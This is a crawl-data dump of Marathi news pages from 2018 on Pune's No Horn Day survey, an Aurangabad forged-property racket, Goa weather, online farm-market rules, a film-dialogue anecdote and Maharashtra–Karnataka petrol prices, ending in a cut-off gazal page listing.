{"url": "http://www.dainikprabhat.com/%E0%A4%AA%E0%A5%81%E0%A4%A3%E0%A5%8D%E0%A4%AF%E0%A4%BE%E0%A4%A4-%E0%A4%A6%E0%A4%BF%E0%A4%B5%E0%A4%B8%E0%A4%BE%E0%A4%B2%E0%A4%BE-%E0%A4%B5%E0%A4%BE%E0%A4%9C%E0%A4%A4%E0%A4%BE%E0%A4%A4-%E0%A4%A6/", "date_download": "2018-09-25T17:04:07Z", "digest": "sha1:3IJNGDTPY6JOO7RZW7IW4LTEBR66R227", "length": 9866, "nlines": 148, "source_domain": "www.dainikprabhat.com", "title": "पुण्यात दिवसाला वाजतात दीड कोटी हॉर्न | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nपुण्यात दिवसाला वाजतात दीड कोटी हॉर्न\nआरटीओ, पोलिसांच्या सर्वेक्षणातून समोर आली माहिती\nपुणे – विनाकारण हॉर्न वाजवत ध्वनी प्रदूषणात भर घालणाऱ्या वाहनचालकांमध्ये जागृती करण्याची गरज आहे. यासाठी पुणे प्रादेशिक परिवहन कार्यालय, वाहतूक पोलीस, पुणे शहर ड्रायव्हिंग स्कूल असोसिएशन, महाराष्ट्र राज्य ड्रायव्हिंग स्कूल असोसिएशन आणि जिल्हा रस्ता सुरक्षा समिती यांच्या संयुक्त विद्यमाने पुणे शहर आणि जिल्ह्यात 12 सप्टेंबर हा दिवस “नो हॉर्न डे’ म्हणून पाळला जाणार आहे. या पार्श्‍वभूमीवर केलेल्या एका सर्वेक्षणात शहरात दररोज दीड कोटी वेळा हॉर्न वाजवले जातात, अशी माहिती पुढे आली आहे.\nप्रादेशिक परिवहन अधिकारी बाबासाहेब आजरी यांच्या नेतृत्त्वाखाली आणि उपप्रादेशिक परिवहन अधिकारी संजय राऊत व विनोद सगरे यांच्या संकल्पनेतून पुणे शहर आणि जिल्ह्यात “नो हॉर्न डे’ पाळला जाणार आहे. या मोहिमेत आरटीओ अधिकारी, पुणे शहर ड्रायव्हिंग स्कूल असोसिएशनचे पदाधिकारी यशवंत कुंभार, नीलेश गांगुर्डे, निखिल बोराडे, विविध ड्रायव्हिंग स्कूलचे संचालक तसेच सामाजिक संघटना सहभागी होणार आहेत. या मोहिमेला पुणे पोलिसांच्या वाहतूक शाखेतर्फेही सहकार्य केले जाणार असल्याची माहिती वाहतूक निरीक्षक अनिल पाटील यांनी दिली.\nबारामती – 4 लाख\nजिल्ह्यात सुमारे 60 लाख वाहने दररोज धावतात. यातील निम्मी वाहने शहरात दिवसभरात आली, तरी प्रत्येक वाहन पाच-सहा वेळा हॉर्न वाजवते. त्यामुळे दिवसभरात सुमारे दीड कोटी हॉर्न वाजतात, असे उपप्रादेशिक परिवहन अधिकारी संजय राऊत यांनी “प्रभात’ला सांगितले.\nड्रायव्हिंग स्कूल वर्षभर चालवणार उपक्रम\nपुणे व पिंपरी-चिंचवड शहरातील वाहनांची संख्या 49 लाख इतकी आहे. यातील 75 टक्के वाहने रोज धावतात. शिवाय बाहेरगावाहून येणाऱ्या वाहनांची संख्याही जास्त आहे. विशेषत: ऑफिस वेळेत रस्त्यावर प्रचंड गर्दी असते. यामुळे एकमेकांच्या पुढे जाण्याची स्पर्धा लागलेली असते. पुढे जाता येत नसल्याने मोठ-मोठ्याने हॉर्न वाजवले जातात. गरज नसताना ध्वनी प्रदूषण केले जाते. शाळा, हॉस्पिटल, सरकारी कार्यालये, न्यायालय अशा शांतता क्षेत्रात हॉर्न वाजविण्यावर बंदी असतानाही सर्रासपणे शांततेचा भंग केला जातो. हा उपक्रम संपूर्ण राज्यातील सर्व 51 परिवहन कार्यालये, ड्रायव्हिंग स्कूल यांच्या माध्यमातून वर्षभर राबविण्यात येणार असल्याचे राजू घाटोळे यांनी सांगितले.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious article#अबाऊट टर्न: स्वागत\nNext articleअंगणवाडी सेविकांना बाप्पा पावला \n#फोटो : गणेशोत्सवातील क्षणचित्रे\nबुधवारी पाणी वाटपाची चर्चा\nभोंगे आणि खेळणी विक्रेत्यांना सुगीचे दिवस\nविमानाला पाच तास उशीर : प्रवाशांनी जमिनीवरच अंथरला बाडबिस्तारा\nपुण्याचा गणेशोत्सव म्हणजे भन्नाटच\nवृद्धांवरील अत्याचारांबाबत रांगोळीतून जनजागृती\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00137.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://www.pudhari.news/news/Aurangabad/Aurangabad-property-selling-racket/", "date_download": "2018-09-25T17:44:06Z", "digest": "sha1:E7XWFC5X2P44B6JTANMOKJSDCD6Q6FCM", "length": 8823, "nlines": 51, "source_domain": "www.pudhari.news", "title": " बनावट कागदपत्राद्वारे प्रॉपर्टी विकणारे रॅकेट | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Aurangabad › बनावट कागदपत्राद्वारे प्रॉपर्टी विकणारे रॅकेट\nबनावट कागदपत्राद्वारे प्रॉपर्टी विकणारे रॅकेट\nमुंबई क्राईम ब्रँचचे पोलिस असल्याची थाप मारून 98 हजारांची खंडणी उकळणार्‍या शेख मुश्ताक शेख मुनाफ हा बनावट कागदपत्राद्वारे भूखंड, घरे विक्री करण्याचे रॅकेट चालवीत असल्याची खळबळजनक माहिती समोर आली आहे. अशाच प्रकरणात त्याच्याविरुद्ध तीन गुन्ह्यांची नोंद झाली असून त्याच्या टोळीत काही महिलांचाही समावेश आहे. विशेष म्हणजे, त्याच्याविरुद्ध पोलिसांत तक्रारींची रिघ लागली आहे.\nदरम्यान, सेवानिवृत्त अभियंता शेख मोबीन जान मोहंमद शेख यांच्या फिर्यादीवरून शेख मुश्ताकसह शेख इर्शाद शेख हबीब, शेख मुश्ताकची भावजई अशा तिघांविरुद्ध शनिवारी सिटी चौक ठाण्यात गुन्हा नोंद झाला आहे. त्यांनी शेख मोबीन यांना हर्सूल येथील सर्वे नं. 225/3/2 मधील प्लॉट क्र. 65 वरील घराचे बनावट कागदपत्र तयार करून ते आठ लाखांत विक्री केल्याचे समोर आले. या प्रकरणाचा तपास उपनिरीक्षक राजेंद्र बांगर करीत आहेत. यापूर्वी फळ विक्रेता सय्यद लाल सय्यद हबीब (47, रा. सावंगी हर्सूल) यांना जटवाडा रोडवरील एक भूखंड अशाच बनावट कागदपत्राद्वारे विक्री केला होता.\nया प्रकरणात बेगमपुरा ठाण्यात गुन्हा नोंद आहे. तसेच, मुंबई क्राईम ब्रँचचे पोलिस असल्याची बतावणी करून 98 हजार रुपये खंडणी उकळल्याप्रकरणी शेख मुश्ताकविरुद्ध यापूर्वीच सिटी चौक ठाण्यात गुन्हा नोंद झालेला आहे. त्याच्याविरुद्ध आतापर्यंत तीन गुन्ह्यांची नोंद झाली असून आणखी काही प्रकरणे चौकशीवर आहेत. असे चालवितात रॅकेट घर किंवा भूखंड विक्रीला असल्याची खबर लागली की, आरोपी शेख मुश्ताक याचे साथीदार आधी तेथे किरायाने राहायला जातात. भूखंड असेल तर शेजारी खोली घेऊन राहतात.\nमूळ मालकाशी जवळीक करतात. त्याच्याकडून कागदपत्र घेऊन तशीच बनावट कागदपत्र तयार करतात. पुढे याच कागदपत्रांच्या आधारे घर, भूखंड विक्री केला जातो. महागाची प्रॉपर्टी अतिशय स्वस्तात देऊन रोख व्यवहार करतात. स्वस्तात प्रॉपर्टी मिळत असल्याने ग्राहकही घ्यायला लगेचच तयार होतात. शेख मुश्ताक याने सईदा कॉलनी, हर्सूल, किराडपुरा, छावणी भागात अशी बरीच घरे आणि भूखंड विकल्याचा संशय आहे. शेख मुश्ताकवर पोलिसांची नजर शेख मुश्ताक याला खंडणीच्या गुन्ह्यात सिटी चौक पोलिसांनी अटक केली होती. तो सध्या हर्सूल कारागृहात आहे. दरम्यान, बेगमपुरा ठाण्याचे फौजदार सरवर शेख त्याला फसवणुकीच्या गुन्ह्यात सोमवारी ताब्यात घेणार असल्याचे पोलिसांनी सांगितले. दरम्यान, त्याच्याविरुद्ध अनेक तक्रारी येत असून पोलिसांनी तक्रार अर्जावर चौकशी सुरू हे.\nआता महावितरण कंपनी खोदणार रस्ते\nबनावट कागदपत्राद्वारे प्रॉपर्टी विकणारे रॅकेट\nऔरंगाबाद सेक्स रॅकेट : ‘स्पा’मधील तरुणी मायदेशी परतणार\nवरिष्ठांची अडविली कार; पोलिसाला मिळाले १ हजार\nआणि प्रेमीयुगलाला ‘सैराट’ होण्यापासून थांबवले\n‘त्या’ तीन मित्रांवर एकाचवेळी अंत्यसंस्कार\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00137.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Goa/Light-rain-in-goa/", "date_download": "2018-09-25T16:50:53Z", "digest": "sha1:4A2AWKNVKHXKODREF2QDVVGC3VFQKV6X", "length": 3379, "nlines": 35, "source_domain": "www.pudhari.news", "title": " गोव्यात पावसाच्या हलक्या सरी | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Goa › गोव्यात पावसाच्या हलक्या सरी\nगोव्यात पावसाच्या हलक्या सरी\nबुधवार सकाळपासून राज्यात ढगाळ वातावरण निर्माण झाले आहे. आज सकाळी राज्यातील काही ठिकाणी पावसाच्या हलक्या सरी कोसळल्याने सर्वत्र पावसाळी वातावरण निर्माण झाले आहे.\nया ढगाळ वातावरण अधुनमधुन कोसळणाऱ्या पावसांच्या सरी अशा प्रकारच्या वातावरणातील बदलामुळे रात्री आणि दिवसांतील तापमानात प्रचंड बदल झाला आहे. यामुळे नागरिकांमध्ये आरोग्याच्या समस्या निर्माण हात आहेत.\nया वातावरण बदलांमुळे सर्दी,खोकला,तापाच्या रूग्णांची संख्या वाढत आहेत.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00137.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Kolhapur/Behavioral-activities-take-action-against-non-online-market-committees/", "date_download": "2018-09-25T17:51:00Z", "digest": "sha1:BA2I37AQ7EDR6NLQPA3IG34URIE7ZSN6", "length": 6974, "nlines": 36, "source_domain": "www.pudhari.news", "title": " शेतीमालाचे व्यवहार ऑनलाईन न करणार्‍या बाजार समितींवर कारवाई | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Kolhapur › शेतीमालाचे व्यवहार ऑनलाईन न करणार्‍या बाजार समितींवर कारवाई\nशेतीमालाचे व्यवहार ऑनलाईन न करणार्‍या बाजार समितींवर कारवाई\nकोल्हापूर : डी. बी. चव्हाण\nकेंद्र सरकारतर्फे सुरू केलेल्या ई-नाम योजनेला शेतकरी, व्यापारी यांच्याकडून अल्प प्रतिसाद मिळत आहे. ही बाब लक्षात घेऊन पणन मंडळाने बाजार समित्यांवर कारवाईचा इशारा दिला आहे. यापुढे शेतीमालाचे खरेदी-विक्रीचे व्यवहार सर्व ऑनलाईन करा, मालाचे पेमेंटही ऑनलाईन पद्धतीने द्या, अशी ताकीद दिली आहे. जी बाजार समिती पणन मंडळाच्या आदेशानुसार कामकाज करणार नाही, अशा बाजार समितींवर कडक कारवाई करण्यात येईल, असा इशारा मंडळाने बाजार समितींना दिला आहे. तशा आशयाच्या नोटिसाही बाजार समित्यांना पाठविल्या आहेत.\nशेतकर्‍यांच्या शेतीमालाला दर मिळावा, शेतीमालाचे पैसे पूर्णपणे शेतकर्‍याच्या हातात पडावेत, त्यात शेतकर्‍यांची कोणत्याही प्रकारे फसवणूक होऊ नये, ऑनलाईन सौदे काढताना व्यापार्‍यांमध्ये स्पर्धा निर्माण होऊन शेतकर्‍यांना चांगला भाव मिळावा, यासाठी केंद्र सरकारने ऑनलाईन नॅशनल अ‍ॅग्रीकल्चर मार्केट (ई-नाम) ही योजना सुरू केली आहे. या योजनेमध्ये राज्यातील 30 मार्केट कमिट्यांचा समावेश आहे. या बाजार समितीच्या आवारात सुविधा निर्माण करण्यासाठी प्रत्येक बाजार समितीला 30 लाखांचा निधी देण्यात आला आहे.\nकोल्हापूर शेती उत्पन्‍न बाजार समितीत ई-नामचे कार्यालय सुरू करण्यात आले आहे. त्यावर टोमॅटो, कोबी, फ्लॉवर या तीन भाज्यांच्या ऑनलाईन सौद्यासाठी तीन महिन्यांपूर्वी प्रारंभ करण्यात आला आहे. परंतु, त्याला फारसा प्रतिसाद मिळत नाही. ऑनलाईन सौद्यासाठी गेल्या तीन महिन्यांत कोल्हापूर, जयसिंगपूर, इचलकरंजी या भागातील व्यापार्‍यांव्यतिरिक्‍त इतरांकडून प्रतिसाद मिळत नसल्याचे चित्र आहे. देशातील इतर राज्यातील ई-नाम योजनेची तीच परिस्थिती आहे.\nही बाब लक्षात घेऊन पणन मंडळाने शेतकरी, अडते, व्यापारी यांची नोंदणी ई-पोर्टलवर करणे बंधनकारक बंधनकारक केले आहे. ऑनलाईन पद्धतीने व्यवहार करताना शेतकरी, व्यापारी यांना येणार्‍या अडचणी, सौद्याच्यावेळच्या तांत्रिक अडचणीत, या बाबी लक्षात घेऊन त्या दुरुस्त करणे आवश्यक आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00137.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://lokmat.news18.com/entertainment/mere-pas-ma-hai-dialouge-not-written-for-shashi-kapoor-276088.html", "date_download": "2018-09-25T16:59:57Z", "digest": "sha1:TFKY6PCQWEOBXGJN3SS74566OIECVRG7", "length": 12532, "nlines": 127, "source_domain": "lokmat.news18.com", "title": "'मेरे पास माँ है' डायलाॅग शशी कपूरसाठी लिहिला नव्हताच", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\n'मेरे पास माँ है' डायलाॅग शशी कपूरसाठी लिहिला नव्हताच\n'मेरे पास माँ है' हा अजरामर, आयकाॅनिक डायलाॅग. शशी कपूर यांना दिवारमध्ये हा डायलाॅग मिळाला आणि त्यांची भूमिका कायमचीच लक्षात राहिली.\n05 डिसेंबर : 'मेरे पास माँ है' हा अजरामर, आयकाॅनिक डायलाॅग. शशी कपूर यांना दिवारमध्ये हा डायलाॅग मिळाला आणि त्यांची भूमिका कायमचीच लक्षात राहिली. पण हा डायलाॅग शशी कपूरसाठी लिहिलाच नव्हता. मग तो कसा मिळाला त्यांना\nसुरुवातीला या सिनेमासाठी अमिताभऐवजी शत्रुघ्न सिन्हा होते. तर शशी कपूरच्या ठिकाणी नवीन निश्चल. पण शत्रुघ्न सिन्हांनी सिनेमातून माघार घेतली. त्यांच्या जागी अमिताभ बच्चननी ती भूमिका साईन केली.\nअमिताभ आणि नवीन निश्चल यांचा याआधीचा सिनेमा काही चालला नाही. म्हणून नवीन निश्चल यांची उचलबांगडी करण्याचा निर्णय चोप्रांनी घेतला. आणि त्या जागी शशी कपूर आले.\nशशी कपूर यांचा मेरे पास माँ है हा डायलाॅग ऐतिहासिक ठरला. आजही शशी कपूरना आदरांजली वाहताना सर्वांना आठवतो तोच डायलाॅग.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nसोनम कपूरचा फॅशन जलवा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00137.warc.wet.gz", "language": "mr", "language_score": 0.94, "bucket": "all"} {"url": "https://lokmat.news18.com/maharastra/maharashtra-karnataka-petrol-price-differences-264555.html", "date_download": "2018-09-25T17:10:52Z", "digest": "sha1:KDSXLRKCBRMRF6F5UY6D5YJKN6XMFXLF", "length": 13819, "nlines": 133, "source_domain": "lokmat.news18.com", "title": "कर्नाटकमध्ये महाराष्ट्रापेक्षा 9 रुपयांनी पेट्रोल स्वस्त !", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nकर्नाटकमध्ये महाराष्ट्रापेक्षा 9 रुपयांनी पेट्रोल स्वस्त \nकोल्हापूरसह चंदगड, सांगली भागातल्या पेट्रोलपंपांवर सध्या शुकशुकाट पहायला मिळतोय.\n07 जुलै : महाराष्ट्र कर्नाटक वाद आपल्या सर्वांनाच परिचित आहे. पण याच 2 राज्यांमध्ये पेट्रोलच्या दरांमध्ये तब्बल 9 रुपयांची तफावत निर्माण झाल्यानं सीमाभागातल्या पेट्रोलपंप चालकांवर वाईट परिस्थिती उदभवलीय. त्यामळे कोल्हापूरसह चंदगड, सांगली भागातल्या पेट्रोलपंपांवर सध्या शुकशुकाट पहायला मिळतोय.\nमहाराष्ट्रामध्ये राज्य सरकारने सरचार्ज लागू केला. त्यामुळे पेट्रोलचे दर वाढले परिणामी जीएसटी लागू झाल्यावर कर्नाटक राज्यातले दर मात्र उतरलेत. त्यामुळे अनेक वाहनधारक हे कर्टनाक राज्यातल्याचं पेट्रोलपंपांवर पेट्रोल भरताहेत. मुंबई बंगलोर हा राष्ट्रीय महामार्ग कोल्हापूरसह बेळगावमधून जातो. तसंच सांगली कोकणची वाहतूकही याच मार्गावरुन होत असते. त्यामुळे लाखो वाहनं या भागात दररोज प्रवास करतात. पण महाराष्ट्रात पेट्रोल हे 73 रुपये 58 पैशांनी दिलं जातं आणि कर्नाटकमध्ये हेच पेट्रोल 64 रुपये 92 पैसे लिटर या दरानं मिळतंय. त्यामुळे ही तफावत वाहनधारकांना चांगलीच फायद्याची ठरत चाललीय हे नक्की..\nकिती फरक आहे दोन्ही राज्यांमध्ये \n30 जून पेट्रोल - 73.85 पेट्रोल - 66.96\n1 जुलै पेट्रोल - 73.58 पेट्रोल - 64.92\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00137.warc.wet.gz", "language": "mr", "language_score": 0.93, "bucket": "all"} {"url": "https://www.maayboli.com/gulmohar/marathi-gazal", "date_download": "2018-09-25T17:47:00Z", "digest": "sha1:3L5WBELUMK2HI2BGT6S7URENYORRJWRL", "length": 4131, "nlines": 91, "source_domain": "www.maayboli.com", "title": "हितगुज ग्रूप: गुलमोहर - गझल | Marathi Gazal | Maayboli", "raw_content": "\nगुलमोहर - मराठी गझल\nकविता या विषयावरचं मायबोलीवरच अन्य लेखन.\nलोपला साधेपणा ही खंत आहे लेखनाचा 